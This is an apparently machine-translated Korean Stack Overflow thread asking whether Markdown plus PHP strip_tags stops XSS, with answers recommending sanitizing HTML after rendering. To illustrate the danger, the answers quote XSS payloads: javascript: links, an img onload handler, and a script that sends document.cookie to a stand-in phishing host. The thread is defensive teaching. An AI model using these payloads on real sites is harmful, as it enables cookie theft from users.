2009-08-04 3 views
9

사용자가 카탈로그의 항목에 대한 간단한 설명을 입력 할 수있게 해주는 웹 응용 프로그램을 만들고 있습니다. 사용자가 HTML 서식을 사용할 수 있도록 Markdown을 내 텍스트 영역에 허용하고 있습니다. - 다른 HTML, "기본도Markdown (strip_tags 포함)으로 XSS 공격을 막을 수 있습니까?

public function sanitizeText($string, $allowedTags = "") { 
    $string = strip_tags($string, $allowedTags); 

    if(get_magic_quotes_gpc()) { 
     return mysql_real_escape_string(stripslashes($string)); 
    } else { 
     return mysql_real_escape_string($string); 
    } 
} 

기본적으로, 나는 데이터베이스에 저장하고있어 모든 마크 다운입니다 :

내 텍스트 위생 기능은 데이터베이스에 삽입하기 전에 입력 된 텍스트에서 모든 태그를 제거합니다 HTML "(여기에 SO와 같이)이 허용됩니다.

markdown을 허용하면 보안상의 위협이 있습니까? 태그가 없어도 마크 아웃을 XSSed 할 수 있습니까?

답변

9

나는 어떤 HTML 태그를 입력에서 제거하는 것이 꽤 안전 할 것이라고 생각한다. 누군가가 Markdown에 실제로 엉망이되는 데이터를 주입하는 방법을 찾았을 때, 더 엉망인 출력을 내고있다.^

먼저 하나 :strip_tags 기적 기능되지 않습니다

하지만 여기 내 마음에 와서 두 가지가 있습니다 그것은 이후 모든 것을 제거거야, 일부 결함 ... 예를 들어
있다 '<'과 같은 상황에서 :

$str = "10 appels is <than 12 apples"; 
var_dump(strip_tags($str)); 

내가 얻을 출력은 다음과 같습니다

string '10 appels is ' (length=13) 


두 번째 :-(사용자 에 대한 그 좋은되지 않은 : 어느 날 또는 다른, 당신은 수도 일부 HTML 태그/속성을 허용하려고합니다. 또는 오늘날에도 Markdown이 HTML 태그/속성을 생성하지 않도록 할 수 있습니다.

HTMLPurifier과 같은 것이 좋습니다. 태그 및 속성을 유지해야하는지 지정할 수 있으며 문자열 만 필터링하여 나머지 태그 만 유지할 수 있습니다. Markdown을가 안전한 될 것입니다 렌더링 후 결과 HTML을 살균 항상 ;-)

+0

@ person-b : 편집 해 주셔서 감사합니다. 당신은 당연하지. ^^ –

+0

HTMLPurifier가 멋지다. – Andrew

+0

내가 들었던 것에서부터/사용했다 ;-) 그것은 다소있다. –

2

마크 업을 허용하는 경우 보안 위협이 있습니까? 태그가 없어도 값을 XSSed가 될 수 있습니까?

엄청난 형식의 입력으로 마크 다운 파서를 속일 수있는 사람은 누가 말할 수 있습니까?

그러나 비교적 간단한 구문이므로 위험이 매우 낮을 수 있습니다. 공격의 가장 분명한 각도는 javascript : 링크 또는 이미지의 URL입니다. 파서가 허용하지는 않지만 체크 아웃 할 수 있습니다.

+0

위험이 있으며 Markdown은 쉽게 손상 될 수 있습니다. 내 대답을 보라. –

0

BBcode는 태그를 생성하기 때문에 더 안전합니다.

<의 img SRC = ""온로드 = "자바 스크립트 : 경고 (\ '하하 \');"<IMG>이 허용/>

경우,이 strip_tags를 통해 바로 이동합니다) 빵!

+0

"더 많은 안전"? 듀? – bart

+0

Markdown도 같은 방식으로 작동합니다. –

3

좋다 -

또한 유효한 HTML 코드를 생성합니다. 그렇게하지 않으면, 나는 사람들이 수는과 같이 마크 다운에서 임의의 자바 스크립트를 실행 될 것이라고 생각 : 작업을 수행

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p> 

:

[Click me](javascript:alert\('Gotcha!'\);) 

PHP 마크 다운을 변환합니다. ... 그리고 이러한 경우를 처리하기 위해 코드를 추가하기 시작하는 것에 대해 생각조차하지 마십시오. 올바른 위생 처리는 쉽지 않습니다. Markdown을 HTML로 렌더링 한 후에 좋은 도구를 사용하여 적용하십시오.

0

파스칼 마틴 (Pascal MARTIN)은 HTML Sanitization이 더 나은 접근 방식이라는 것에 동의합니다. JavaScript로 완전히하고자한다면 google-caja's sanitization library (source code)을 살펴 보는 것이 좋습니다.

마크 다운 코드 :

7

여기 후 HTML을 소독해야하는 이유의 사랑스러운 예는하지 전에,

<blockquote> 
<p><script type="text/javascript" 
language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l=' 
+ escape(window.location) + '&amp;c=' + escape(document.cookie); 
</script></p> 
</blockquote> 

이제 걱정 :

> <script type="text/javascript" 
> language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l=' 
> + escape\(window.location\) + '&c=' + escape\(document.cookie\); 
> </script> 
> 

는 다음과 같이 렌더링?

1

아니요. Markdown을 사용하는 방식이 안전하지 않습니다. Markdown은 안전하게 사용할 수 있지만 올바르게 사용해야합니다. Markdown을 안전하게 사용하는 방법에 대한 자세한 내용은 here을 참조하십시오. 안전하게 사용하는 방법에 대한 자세한 내용은 링크를 참조하십시오. 그러나 짧은 버전은 safe_mode을 설정하고 enable_attributes=False을 설정하는 최신 버전을 사용하는 것이 중요합니다.

이 링크는 또한 입력을 이스케이프 처리하고 마크 다운 (Markdown)을 호출하는 것이 안전하지 않은 이유를 설명합니다. 간단한 예 : "[clickme](javascript:alert%28%22xss%22%29)"

관련 문제